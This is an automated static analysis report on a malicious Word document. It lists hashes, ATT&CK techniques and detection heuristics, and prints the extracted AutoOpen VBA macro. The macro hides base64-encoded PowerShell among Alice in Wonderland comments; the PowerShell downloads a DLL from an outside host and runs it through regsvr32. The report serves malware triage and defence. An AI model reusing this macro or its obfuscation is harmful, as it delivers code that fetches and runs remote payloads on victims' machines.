Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 f87b5aa5620cafe8…

MALICIOUS

Office (OLE)

69.0 KB Created: 2018-04-19 18:59:00 Authoring application: Microsoft Office Word First seen: 2020-07-24
MD5: 8dd8e163c381fa0fc96f097e3e3a8d6e SHA-1: ccb0f91edb9f2b055fa940a60652817300d2e5e0 SHA-256: f87b5aa5620cafe80009fee1066ea6486c3017cdf4a2d1a5111b6a2695cb1a1e
224 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is a malicious Office document containing a VBA macro. The AutoOpen macro is configured to execute, and heuristics indicate the use of CreateObject, suggesting the execution of arbitrary code. This macro likely serves to download and execute a second-stage payload, a common technique for initial compromise.

Heuristics 8

  • ClamAV: Doc.Malware.Generic-7615216-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Generic-7615216-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 3624 bytes
SHA-256: faa48c058d88083601a11b1127f6aaae036694647fb813c68ad19ffd62bfb539
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 2 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Function LZF_987FC73E06603CE0183C09D27D001CE7676BE568(data, encoder)
    With CreateObject("Msxml2.DOMDocument").CreateElement("tmp")
        .dataType = encoder
        .Text = data
        LZF_987FC73E06603CE0183C09D27D001CE7676BE568 = .nodeTypedValue
    End With
End Function

Sub AutoOpen()
'There was nothing so VERY remarkable in that; nor did Alice
'think it so VERY much out of the way to hear the Rabbit say to
'itself, `Oh dear!  Oh dear!  I shall be late!'  (when she thought
'it over afterwards, it occurred to her that she ought to have
'wondered at this, but at the time it all seemed quite natural);
'but when the Rabbit actually TOOK A WATCH OUT OF ITS WAISTCOAT-
'POCKET, and looked at it, and then hurried on, Alice started to
'her feet, for it flashed across her mind that she had never
'before seen a rabbit with either a waistcoat-pocket, or a watch to
'take out of it, and burning with curiosity, she ran across the
'field after it, and fortunately was just in time to see it pop
'down a large rabbit-hole under the hedge.
Dim fso As Object
'Either the well was very deep, or she fell very slowly, for she
'had plenty of time as she went down to look about her and to
'wonder what was going to happen next.  First, she tried to look
'down and make out what she was coming to, but it was too dark to
'see anything; then she looked at the sides of the well, and
'noticed that they were filled with cupboards and book-shelves;
'here and there she saw maps and pictures hung upon pegs.  She
'took down a jar from one of the shelves as she passed; it was
'labelled `ORANGE MARMALADE', but to her great disappointment it
'was empty:  she did not like to drop the jar for fear of killing
'somebody, so managed to put it into one of the cupboards as she
'fell past it.
LZF_C41D863612E2B54CFBEEE3A75BF1AF12A86BE831 = LZF_987FC73E06603CE0183C09D27D001CE7676BE568("cABvAHcAZQByAHMAaABlAGwAbAAgAC0AQwBvAG0AbQBhAG4AZAAgACIASQBuAHYAbwBrAGUALQBXAGUAYgBSAGUAcQB1AGUAcwB0ACAAaAB0AHQAcAA6AC8ALwAlAFUAVQBVAFUAJQAiACAALQBPAHUAdABGAGkAbABlACAAJABFAE4AVgA6AFUAcwBlAHIAUAByAG8AZgBpAGwAZQBcAGsAZQB5AHMALgBkAGwAbAAiAA==", "bin.base64")
'Down, down, down.  Would the fall NEVER come to an end!  `I
'wonder how many miles I've fallen by this time?' she said aloud.
'`I must be getting somewhere near the centre of the earth.  Let
'me see:  that would be four thousand miles down, I think--' (for,
'you see, Alice had learnt several things of this sort in her
'lessons in the schoolroom, and though this was not a VERY good
'opportunity for showing off her knowledge, as there was no one to
'listen to her, still it was good practice to say it over) `--yes,
'that 's about the right distance--but then I wonder what Latitude
'or Longitude I've got to?'  (Alice had no idea what Latitude was,
'or Longitude either, but thought they were nice grand words to
'say.)

k = "AUwBsAGUAZQBwACAALQBzACAANQAwAAoAOwAgAHIAZQBnAHMAdgByADMAMgAgAC8AcwAgACQAZQBuAHYAOgBVAHMAZQByAHAAcgBvAGYAaQBsAGUAXABrAGUAeQBzAC4AZABsAGwAIgA="
Shell@ Replace(LZF_C41D863612E2B54CFBEEE3A75BF1AF12A86BE831, "%U" & "UUU%", "z9nogft.com/f64b/oddg.php?l=wyl11.cab")
Shell! LZF_987FC73E06603CE0183C09D27D001CE7676BE568("cABvAHcAZQByAHMAaABlAGwAbAAgAC0AQwBvAG0AbQBhAG4AZAAgACIAUwB0AGEAcgB0AC0" + k, "bin.base64"), 0

End Sub

Open this report in the interactive analyzer, or submit your own file for analysis.